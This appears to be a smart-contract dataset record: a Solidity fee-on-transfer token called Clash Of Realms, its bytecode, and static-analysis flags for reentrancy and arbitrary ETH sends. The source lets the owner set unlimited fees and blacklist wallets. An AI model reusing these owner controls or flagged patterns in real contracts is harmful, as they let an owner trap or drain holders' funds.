b6457e0908390a3600080546001600160a01b0319169055565b6000610455338484610c12565b600c546001600160a01b0316336001600160a01b031614610a0857600080fd5b6000610a1330610945565b905061094281611167565b6000546001600160a01b03163314610a485760405162461bcd60e51b81526004016103c590611a2d565b60008111610a985760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103c5565b610ab36064610aad655af3107a40008461130c565b9061138b565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b505760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c5565b6001600160a01b038216610bb15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c5565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c765760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c5565b6001600160a01b038216610cd85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c5565b60008111610d3a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c5565b6000546001600160a01b03848116911614801590610d6657506000546001600160a01b03838116911614155b15610fc757600f54600160b81b900460ff1615610e4d576001600160a01b0383163014801590610d9f57506001600160a01b0382163014155b8015610db95750600e546001600160a01b03848116911614155b8015610dd35750600e546001600160a01b03838116911614155b15610e4d57600e546001600160a01b0316336001600160a01b03161480610e0d5750600f546001600160a01b0316336001600160a01b0316145b610e4d5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103c5565b601054811115610e5c57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610e9e57506001600160a01b0382166000908152600a602052604090205460ff16155b610ea757600080fd5b600f546001600160a01b038481169116148015610ed25750600e546001600160a01b03838116911614155b8015610ef757506001600160a01b03821660009081526005602052604090205460ff16155b8015610f0c5750600f54600160b81b900460ff165b15610f5a576001600160a01b0382166000908152600b60205260409020544211610f3557600080fd5b610f4042600a611ad2565b6001600160a01b0383166000908152600b60205260409020555b6000610f6530610945565b600f54909150600160a81b900460ff16158015610f905750600f546001600160a01b03858116911614155b8015610fa55750600f54600160b01b900460ff165b15610fc557610fb381611167565b478015610fc357610fc34761105e565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061100957506001600160a01b03831660009081526005602052604090205460ff165b15611012575060005b61101e848484846113cd565b50505050565b600081848411156110485760405162461bcd60e51b81526004016103c591906119da565b5060006110558486611b29565b95945050505050565b600c546001600160a01b03166108fc61107883600261138b565b6040518115909202916000818181858888f193505050501580156110a0573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110bb83600261138b565b6040518115909202916000818181858888f19350505050158015610444573d6000803e3d6000fd5b600060065482111561114a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c5565b60006111546113f9565b9050611160838261138b565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111bd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121157600080fd5b505afa158015611225573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124991906117d7565b8160018151811061126a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112909130911684610aee565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c9908590600090869030904290600401611a62565b600060405180830381600087803b1580156112e357600080fd5b505af11580156112f7573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261131b57506000610459565b60006113278385611b0a565b9050826113348583611aea565b146111605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c5565b600061116083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061141c565b806113da576113da61144a565b6113e584848461146d565b8061101e5761101e6005600855600a600955565b6000806000611406611564565b9092509050611415828261138b565b9250505090565b6000818361143d5760405162461bcd60e51b81526004016103c591906119da565b5060006110558486611aea565b60085415801561145a5750600954155b1561146157565b60006008819055600955565b60008060008060008061147f876115a0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114b190876115fd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114e0908661163f565b6001600160a01b0389166000908152600260205260409020556115028161169e565b61150c84836116e8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155191815260200190565b60405180910390a3505050505050505050565b6006546000908190655af3107a400061157d828261138b565b82101561159757505060065492655af3107a400092509050565b90939092509050565b60008060008060008060008060006115bd8a60085460095461170c565b92509250925060006115cd6113f9565b905060008060006115e08e87878761175b565b919e509c509a509598509396509194505050505091939550919395565b600061116083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611024565b60008061164c8385611ad2565b9050838110156111605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c5565b60006116a86113f9565b905060006116b6838361130c565b306000908152600260205260409020549091506116d3908261163f565b30600090815260026020526040902055505050565b6006546116f590836115fd565b600655600754611705908261163f565b6007555050565b60008080806117206064610aad898961130c565b905060006117336064610aad8a8961130c565b9050600061174b826117458b866115fd565b906115fd565b9992985090965090945050505050565b600080808061176a888661130c565b90506000611778888761130c565b90506000611786888861130c565b905060006117988261174586866115fd565b939b939a50919850919650505050505050565b80356117b681611b87565b919050565b6000602082840312156117cc578081fd5b813561116081611b87565b6000602082840312156117e8578081fd5b815161116081611b87565b60008060408385031215611805578081fd5b823561181081611b87565b9150602083013561182081611b87565b809150509250929050565b60008060006060848603121561183f578081fd5b833561184a81611b87565b9250602084013561185a81611b87565b929592945050506040919091013590565b6000806040838503121561187d578182fd5b823561188881611b87565b946020939093013593505050565b600060208083850312156118a8578182fd5b823567ffffffffffffffff808211156118bf578384fd5b818501915085601f8301126118d2578384fd5b8135818111156118e4576118e4611b71565b8060051b604051601f19603f8301168101818110858211171561190957611909611b71565b604052828152858101935084860182860187018a1015611927578788fd5b8795505b838610156119505761193c816117ab565b85526001959095019493860193860161192b565b5098975050505050505050565b60006020828403121561196e578081fd5b813561116081611b9c565b60006020828403121561198a578081fd5b815161116081611b9c565b6000602082840312156119a6578081fd5b5035919050565b6000806000606084860312156119c1578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a06578581018301518582016040015282016119ea565b81811115611a175783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ab15784516001600160a01b031683529383019391830191600101611a8c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ae557611ae5611b5b565b500190565b600082611b0557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b2457611b24611b5b565b500290565b600082821015611b3b57611b3b611b5b565b500390565b6000600019821415611b5457611b54611b5b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094257600080fd5b801515811461094257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204336c0e0df92fdb8ec073704d43abebfca754694b83963161df38a1a178e40db64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,915 |
0xac97f474845d68b946b5b93bbf6658c014c7720f
|
/*
Clash Of Realms (CORS)
Linktree :
https://linktr.ee/ClashofRealms
Website:
clashofrealms.net
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ClashOfRealms is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Clash Of Realms";
string private constant _symbol = "CORS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _marketingFeeOnBuy = 800; //100 = 1%
uint256 private _liquidityFeeOnBuy = 100; //100 = 1%
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _marketingFeeOnSell = 800; //100 = 1%
uint256 private _liquidityFeeOnSell = 100; //100 = 1%
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _marketingFeeOnSell.add(_liquidityFeeOnSell).div(100);
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
address payable private _marketingAddress = payable(0xcEBd8ea4975C56fCee8683b45B3c33F30E093521);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = _tTotal.mul(30).div(10000); //0.30%
uint256 public _maxWalletSize = _tTotal.mul(200).div(10000); //2%
uint256 public _swapTokensAtAmount = _tTotal.mul(10).div(10000); //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount) {
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapDistributeAndLiquify(contractTokenBalance);
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _marketingFeeOnBuy.add(_liquidityFeeOnBuy).div(100);
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _marketingFeeOnSell.add(_liquidityFeeOnSell).div(100);
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapDistributeAndLiquify(uint256 tokens) private {
uint256 totalTokensFee = _marketingFeeOnSell.add(_liquidityFeeOnSell);
uint256 halfLPFee = _liquidityFeeOnSell.div(2);
uint256 tokensToSwapToETH = tokens.mul(_marketingFeeOnSell.add(halfLPFee)).div(totalTokensFee);
uint256 liquidityTokens = tokens.mul(halfLPFee).div(totalTokensFee);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(tokensToSwapToETH);
uint256 newETHBalance = address(this).balance.sub(initialETHBalance);
uint256 ethMarketingShare = newETHBalance.mul(_marketingFeeOnSell).div(totalTokensFee.sub(halfLPFee));
uint256 ethLPShare = newETHBalance.sub(ethMarketingShare);
sendETHToFee(ethMarketingShare);
addLiquidity(liquidityTokens, ethLPShare);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress || _msgSender() == owner());
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress || _msgSender() == owner());
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 marketingFeeOnBuy, uint256 marketingFeeOnSell, uint256 liquidityFeeOnBuy, uint256 liquidityFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_marketingFeeOnBuy = marketingFeeOnBuy;
_marketingFeeOnSell = marketingFeeOnSell;
_liquidityFeeOnBuy = liquidityFeeOnBuy;
_liquidityFeeOnSell = liquidityFeeOnSell;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set marketing wallet
function setMarketingWallet(address payable marketingWallet) public onlyOwner {
_marketingAddress = marketingWallet;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101e65760003560e01c806374010ece11610102578063bd9a3b6d11610095578063c492f04611610064578063c492f046146105b3578063dd62ed3e146105d3578063ea1644d514610619578063f2fde38b1461063957600080fd5b8063bd9a3b6d1461051e578063bdd795ef1461053e578063bfd792841461056e578063c3c8cd801461059e57600080fd5b80638f9a55c0116100d15780638f9a55c01461049b57806395d89b41146104b157806398a5c315146104de578063a9059cbb146104fe57600080fd5b806374010ece146104275780637d1db4a5146104475780638da5cb5b1461045d5780638f70ccf71461047b57600080fd5b8063313ce5671161017a5780636d8aa8f8116101495780636d8aa8f8146103bd5780636fc3eaec146103dd57806370a08231146103f2578063715018a61461041257600080fd5b8063313ce5671461034157806349bd5a5e1461035d5780635d098b381461037d5780636b9990531461039d57600080fd5b806318160ddd116101b657806318160ddd146102c657806323b872dd146102eb5780632f9c45691461030b5780632fd689e31461032b57600080fd5b8062b8cf2a146101f257806306fdde0314610214578063095ea7b31461025e5780631694505e1461028e57600080fd5b366101ed57005b600080fd5b3480156101fe57600080fd5b5061021261020d366004611e3c565b610659565b005b34801561022057600080fd5b5060408051808201909152600f81526e436c617368204f66205265616c6d7360881b60208201525b6040516102559190611fad565b60405180910390f35b34801561026a57600080fd5b5061027e610279366004611d8c565b6106f8565b6040519015158152602001610255565b34801561029a57600080fd5b506014546102ae906001600160a01b031681565b6040516001600160a01b039091168152602001610255565b3480156102d257600080fd5b50678ac7230489e800005b604051908152602001610255565b3480156102f757600080fd5b5061027e610306366004611d16565b61070f565b34801561031757600080fd5b50610212610326366004611d57565b610778565b34801561033757600080fd5b506102dd60185481565b34801561034d57600080fd5b5060405160098152602001610255565b34801561036957600080fd5b506015546102ae906001600160a01b031681565b34801561038957600080fd5b50610212610398366004611ca3565b61083c565b3480156103a957600080fd5b506102126103b8366004611ca3565b610888565b3480156103c957600080fd5b506102126103d8366004611f08565b6108d3565b3480156103e957600080fd5b5061021261091b565b3480156103fe57600080fd5b506102dd61040d366004611ca3565b61095d565b34801561041e57600080fd5b5061021261097f565b34801561043357600080fd5b50610212610442366004611f23565b6109f3565b34801561045357600080fd5b506102dd60165481565b34801561046957600080fd5b506000546001600160a01b03166102ae565b34801561048757600080fd5b50610212610496366004611f08565b610a22565b3480156104a757600080fd5b506102dd60175481565b3480156104bd57600080fd5b50604080518082019091526004815263434f525360e01b6020820152610248565b3480156104ea57600080fd5b506102126104f9366004611f23565b610a6a565b34801561050a57600080fd5b5061027e610519366004611d8c565b610a99565b34801561052a57600080fd5b50610212610539366004611f6a565b610aa6565b34801561054a57600080fd5b5061027e610559366004611ca3565b60126020526000908152604090205460ff1681565b34801561057a57600080fd5b5061027e610589366004611ca3565b60116020526000908152604090205460ff1681565b3480156105aa57600080fd5b50610212610aed565b3480156105bf57600080fd5b506102126105ce366004611db8565b610b38565b3480156105df57600080fd5b506102dd6105ee366004611cdd565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561062557600080fd5b50610212610634366004611f23565b610bd9565b34801561064557600080fd5b50610212610654366004611ca3565b610c08565b6000546001600160a01b0316331461068c5760405162461bcd60e51b815260040161068390612002565b60405180910390fd5b60005b81518110156106f4576001601160008484815181106106b0576106b0612149565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ec81612118565b91505061068f565b5050565b6000610705338484610e19565b5060015b92915050565b600061071c848484610f3d565b61076e84336107698560405180606001604052806028815260200161218b602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906114e8565b610e19565b5060019392505050565b6000546001600160a01b031633146107a25760405162461bcd60e51b815260040161068390612002565b6001600160a01b03821660009081526012602052604090205460ff16151581151514156108115760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e0000000000000000006044820152606401610683565b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108665760405162461bcd60e51b815260040161068390612002565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161068390612002565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b815260040161068390612002565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061094757506000546001600160a01b031633145b61095057600080fd5b4761095a81611522565b50565b6001600160a01b0381166000908152600260205260408120546107099061155c565b6000546001600160a01b031633146109a95760405162461bcd60e51b815260040161068390612002565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a1d5760405162461bcd60e51b815260040161068390612002565b601655565b6000546001600160a01b03163314610a4c5760405162461bcd60e51b815260040161068390612002565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a945760405162461bcd60e51b815260040161068390612002565b601855565b6000610705338484610f3d565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161068390612002565b600795909555600a93909355600891909155600b55600955600c55565b6013546001600160a01b0316336001600160a01b03161480610b1957506000546001600160a01b031633145b610b2257600080fd5b6000610b2d3061095d565b905061095a816115d9565b6000546001600160a01b03163314610b625760405162461bcd60e51b815260040161068390612002565b60005b82811015610bd3578160046000868685818110610b8457610b84612149565b9050602002016020810190610b999190611ca3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bcb81612118565b915050610b65565b50505050565b6000546001600160a01b03163314610c035760405162461bcd60e51b815260040161068390612002565b601755565b6000546001600160a01b03163314610c325760405162461bcd60e51b815260040161068390612002565b6001600160a01b038116610c975760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610683565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610cff83856120a8565b905083811015610d515760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610683565b9392505050565b6000610d5183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611762565b600082610da957506000610709565b6000610db583856120e2565b905082610dc285836120c0565b14610d515760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610683565b6001600160a01b038316610e7b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610683565b6001600160a01b038216610edc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610683565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fa15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610683565b6001600160a01b0382166110035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726